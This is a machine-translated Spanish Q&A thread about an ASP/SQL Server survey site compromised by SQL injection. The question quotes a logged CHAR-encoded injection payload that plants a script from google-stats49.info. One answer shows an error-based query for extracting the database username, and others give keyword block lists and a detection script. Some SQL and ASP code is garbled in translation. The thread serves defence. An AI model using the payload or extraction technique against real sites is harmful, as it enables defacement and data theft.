2010-09-24 15 views
10

Tenemos un sitio de encuestas que aparentemente fue atacado. Los síntomas son idénticos a los descritos en la siguiente página de este sitio: XSS Attack on the ASP.NET Website.Ataque al sitio ASP que usa una base de datos del servidor SQL

me encontré con varias entradas en los registros de IIS que incluían el código malicioso:

</title> < script src = http: // google-stats49.info/ur.php>.

Aquí hay un ejemplo del valor del campo cs-uri-query para una de las entradas de registro de IIS.

SurveyID = 91 + actualización + usd_ResponseDetails + set + categoryName = REPLACE (fundido (categoryName + como + varchar (8000)), molde (char (60)% 2Bchar (47)% 2Bchar (116)% 2Bchar (105)% 2Bchar (116)% 2Bchar (108)% 2Bchar (101)% 2Bchar (62)% 2Bchar (60)% 2Bchar (115)% 2Bchar (99)% 2Bchar (114)% 2Bchar (105)% 2Bchar (112)% 2Bchar (116)% 2Bchar (32)% 2Bchar (115)% 2Bchar (114)% 2Bchar (99)% 2Bchar (61)% 2Bchar (104)% 2Bchar (116)% 2Bchar (116)% 2Bchar (112)% 2Bchar (58)% 2Bchar (47)% 2Bchar (47)% 2Bchar (103)% 2Bchar (111)% 2Bchar (111)% 2Bchar (103)% 2Bchar (108)% 2Bchar (101)% 2Bchar (45)% 2Bchar (115)% 2Bchar (116)% 2Bchar (97)% 2Bchar (116)% 2Bchar (115)% 2Bchar (53)% 2Bchar (48)% 2Bchar (46)% 2Bchar (105)% 2Bchar (110)% 2Bchar (102)% 2Bchar (111)% 2Bchar (47)% 2Bchar (117)% 2Bchar (114)% 2Bchar (46)% 2Bchar (112)% 2Bchar (104)% 2Bchar (112)% 2Bchar (62)% 2Bchar (60)% 2Bchar (47)% 2Bchar (115)% 2Bchar (99)% 2Bchar (114)% 2Bchar (105)% 2Bchar (112)% 2Bchar (1 16)% 2Bchar (62) + + como varchar (8000)), yeso (char (32) + + como varchar (8))) -

no entiendo cómo funciona el código anterior, pero aparentemente esto es lo que se envía en una cadena de consulta para corromper las columnas en nuestras tablas de base de datos. Hemos cerrado nuestro sitio por el momento. Podemos eliminar las secuencias de comandos de la base de datos, pero eso no impide que se corrompa de nuevo cuando ponemos el sitio nuevamente en línea.

¿Alguien tiene alguna sugerencia sobre cómo evitar que esto suceda?

+2

CHAR (n) es una función 'TSQL que convierte un entero en un carácter ASCII. Esto es lo que contiene la muestra anterior: '', así que pruébelo: 'print char (60) + char (47) + char (116) + char (105) + char (116) + char (108) + char (101) + char (62) + char (60) + char (115) + char (99) + char (114) + char (105) + char (112) + char (116) + char (32) + char (115) + char (114) + char (99) + char (61) + char (104) + char (116) + char (116) + char (112) + char (58) + char (47) + char (47) + char (103) + char (111) + char (111) + char (103) + char (108) + char (101) + char (45) + char (115) + char (116) + char (97) + char (116) + char (115) + char (53) + '...' ' –

Respuesta

7

Eso es una inyección SQL.

  1. entrada del usuario Nunca confianza. Estás tomando una entrada y enviándola directamente a la base de datos
  2. ¡Nunca confíes en la entrada de tu usuario!
  3. Compruebe todas las entradas en una lista blanca de valores permitidos.
  4. Para la entrada de texto asegurarse de que todo se escapó

Hay toneladas sobre este tema: Google is your friend

+3

No, Google isn' tu amigo De hecho, es todo lo contrario. Y no digo esto solo porque tiraron la privacidad de todos por la ventana hace mucho tiempo.:) –

+0

@Esteban - ¿O porque están trabajando con Verizon para comprar Internet y poder utilizarlo como una autopista? – orokusaki

+2

olvidaste agregar: 5. ¡Nunca confíes en la entrada del usuario! :) – igorp1024

2

también ...

  1. utilizar consultas parametrizadas.
  2. Salga de la clásica ASP antigua, lo que dificulta el uso de consultas parametrizadas. Vaya a .NET, que tiene una validación más fácil y puede restringir los valores, no permitir la entrada html, etc.
0

que sugieren que la búsqueda de todas las páginas que contienen Request.QueryString, ya que es más a menudo un parámetro GET que no está siendo filtrada (con frecuencia un valor que debe ser un número entero) y utilizar libremente las funciones incorporadas CInt, CLng e IsNumeric para detener las inyecciones en sus pistas.Debería ser más rápido que volver a escribir todas sus consultas para usar parámetros o crear procedimientos almacenados en SQL Server, aunque ese sería el camino a seguir si todavía está ocupado desarrollando la aplicación. También debe deshabilitar el permiso EXEC para la cuenta de usuario de la aplicación en SQL Server.

(Lo sentimos, intentó vincular las otras funciones, sino como un nuevo usuario sólo estoy permitido un hipervínculo. :-))

1

Configurar el IIS para enviar una página personalizada de error o de la página de error por defecto en lugar de 500 enviando mensajes de error detallados al cliente.

Los mensajes de error detallados se han utilizado para encontrar el esquema db. Luego usaron la inyección sql para actualizar los campos de texto.

He aquí un ejemplo para conseguir que el usuario DB:

/page.asp?realparameter=1And%20char(94)%2Buser%2Bchar(94)=0 

que es "y^+ usuario +^= 0" y se vuelve:

[Microsoft] [ODBC_SQL_Server_Driver] [SQL_Server] Conversion_failed_when_converting_nvarchar_value _ '^ myDbUsername ^' _ to_data_type_int.

donde "myDbUsername" es su usuario real de la base de datos.

Utilizando una técnica similar, es posible obtener bases de datos, tablas, columnas, tipos, etc., uno por uno.

Si aún no lo han atacado, deshabilite los errores detallados en IIS; de lo contrario, verifique sus registros para encontrar qué páginas tienen vulnerabilidades de inyección sql y corrígelas.

escribí un pequeño script para comprobar si hay "< guión" en mi base de datos:

DECLARE c1 cursor for SELECT 'SELECT COUNT(*), '''+QUOTENAME(TABLE_SCHEMA)+'.'+QUOTENAME(TABLE_NAME)+''', '''+QUOTENAME(COLUMN_NAME)+''''+ 
' FROM ' + quotename(TABLE_SCHEMA) + '.'+QUOTENAME(TABLE_NAME) + 
' WHERE ' + QUOTENAME(COLUMN_NAME) + ' LIKE ''%<script%''' 
FROM INFORMATION_SCHEMA.COLUMNS c 
WHERE DATA_TYPE IN ('nvarchar', 'nchar', 'varchar', 'char', 'text', 'ntext') 
and QUOTENAME(TABLE_NAME) not in (SELECT QUOTENAME(name)AS TABLE_NAME FROM sys.views) 
order by QUOTENAME(TABLE_NAME); 
DECLARE @CMD VARCHAR(200), @return varchar(10) 
OPEN C1 
FETCH NEXT FROM C1 INTO @CMD 
WHILE @@FETCH_STATUS <> -1 
    BEGIN 
     declare @sql nvarchar(500), @tbl varchar(200), @col varchar(200) 
     set @sql = 'declare c2 cursor for ' + @CMD 
     exec sp_executesql @sql 
     open c2 
     FETCH NEXT FROM C2 INTO @return, @tbl, @col 
     WHILE @@FETCH_STATUS <> -1 
      BEGIN 
      if(@return > 0) 
       BEGIN 
        PRINT @return + ' records found in ' + @tbl + '.' + @col 
        exec('SELECT '[email protected]+' FROM '[email protected]+' WHERE '[email protected]+' LIKE ''%<script%''') 
       END 
      FETCH NEXT FROM C2 INTO @return, @tbl, @col 
      END 
     CLOSE C2 
     DEALLOCATE C2 
     FETCH NEXT FROM C1 INTO @CMD 
    END 
CLOSE C1 
DEALLOCATE C1 

estoy en IIS 7, Windows Server 2008 y SQL Server 2008 por lo que no parece que esta ataque utiliza cualquier vulnerabilidad de SQL Server 2003/2005 como se indica en muchos artículos en la web.

1

El plug-in de balas de Seguridad WordPress tiene los filtros de inyección SQL que bloquearán este ataque en un archivo htaccess. Como tiene un servidor IIS, deberá agregar funciones adicionales que le permitan usar un archivo htaccess o tal vez podría incorporar los filtros de inyección SQL de alguna otra manera con IIS, ya que htaccess es tradicionalmente algo de Apache. Esta es la línea en el archivo .htaccess principal prueba de balas de seguridad que bloquea todos Inyección SQL intentos de hacking:

RewriteCond %{QUERY_STRING} ^.*(execute|exec|sp_executesql|request|select|insert|union|declare|drop|delete|create|alter|update|order|char|set|cast|convert|meta|script|truncate).* [NC] 
RewriteRule ^(.*)$ - [F,L] 
2

No estoy seguro si esto es todavía relevante para usted, pero he tenido que esto ocurra en el pasado como todavía corremos algunos viejos sitios asp. Hay dos cosas que necesitas para limpiar esto. Primero es un procedimiento de búsqueda y reemplazo almacenado para su base de datos (lo suficientemente fácil para buscar en Google esto), si puede salirse con la suya. Lamentablemente, a veces los datos se cortan dependiendo del tipo de campo, pero no hay nada que hacer aquí. De lo contrario, es necesario retroceder para su db.

En segundo lugar es insertar un guión prevención corte de inyección SQL como esto como incluir antes de su conexión a la base de datos:

Buena suerte.

<% 
' SqlCheckInclude.asp 
' 
' This is the include file to use with your asp pages to 
' validate input for SQL injection.

Dim BlackList, ErrorPage, s

' ' Below is a black list that will block certain SQL commands and ' sequences used in SQL injection will help with input sanitization ' ' However this is may not suffice, because: ' 1) These might not cover all the cases (like encoded characters) ' 2) This may disallow legitimate input ' ' Creating a raw sql query strings by concatenating user input is ' unsafe programming practice. It is advised that you use parameterized ' SQL instead. Check http://support.microsoft.com/kb/q164485/ for information ' on how to do this using ADO from ASP. ' ' Moreover, you need to also implement a white list for your parameters. ' For example, if you are expecting input for a zipcode you should create ' a validation rule that will only allow 5 characters in [0-9]. '

BlackList = Array("--", ";", "/", "/", "@@", "@",_ "char", "nchar", "varchar", "nvarchar",_ "alter", "begin", "cast", "create", "cursor",_ "declare", "delete", "drop", "end", "exec",_ "execute", "fetch", "insert", "kill", "open",_ "select", "sys", "sysobjects", "syscolumns",_ "table", "update")

' Populate the error page you want to redirect to in case the ' check fails.

ErrorPage = "/ErrorPage.asp"

'''''''''''''''''''''''''''''''''''''''''''''''''''
' This function does not check for encoded characters ' since we do not know the form of encoding your application ' uses. Add the appropriate logic to deal with encoded characters ' in here ''''''''''''''''''''''''''''''''''''''''''''''''''' Function CheckStringForSQL(str) On Error Resume Next

Dim lstr

' If the string is empty, return true If (IsEmpty(str)) Then CheckStringForSQL = false Exit Function ElseIf (StrComp(str, "") = 0) Then CheckStringForSQL = false Exit Function End If

lstr = LCase(str)

' Check if the string contains any patterns in our ' black list For Each s in BlackList

If (InStr (lstr, s) <> 0) Then 
    CheckStringForSQL = true 
    Exit Function 
End If 

Siguiente

CheckStringForSQL = false

End Function

'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' 'Verificar datos de formularios ' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ''

Para cada uno en Request.FormSi(CheckStringForSQL (Request.Form (s))) Entonces

' Redirect to an error page 
Response.Redirect(ErrorPage) 

Fin Si Siguiente

'' '' '' '' '' '' '' '' '' ''' '' '' '' '' '' '' '' '' '' '' ' ' Ver la cadena de consulta '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ''

Para cada uno en Request.QueryString If (CheckStringForSQL (Request.QueryString (s))) Luego

' Redirect to error page 
Response.Redirect(ErrorPage) 

End If 

Siguiente

'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ''' '' '' '' '' 'Comprobar cookies ' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ''

Para cada s en Request.Cookies Si (CheckStringForSQL (Request.Cookies (s))), entonces

' Redirect to error page 
Response.Redirect(ErrorPage) 

End If

Siguiente

'' '' '' '' '' '' '' '' '' '' '' '' '' '' '' ' ' Agregue verificaciones adicionales para la entrada que usa su aplicación '. (por ejemplo, varios encabezados de solicitud que su aplicación 'podría usar) ' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '''

%>

+0

Este es un sólido comienzo en la respuesta a esta pregunta. Podría mejorarse proporcionando enlaces a los elementos a los que se hace referencia versus simplemente diciéndoles que lo busquen en Google. –

Cuestiones relacionadas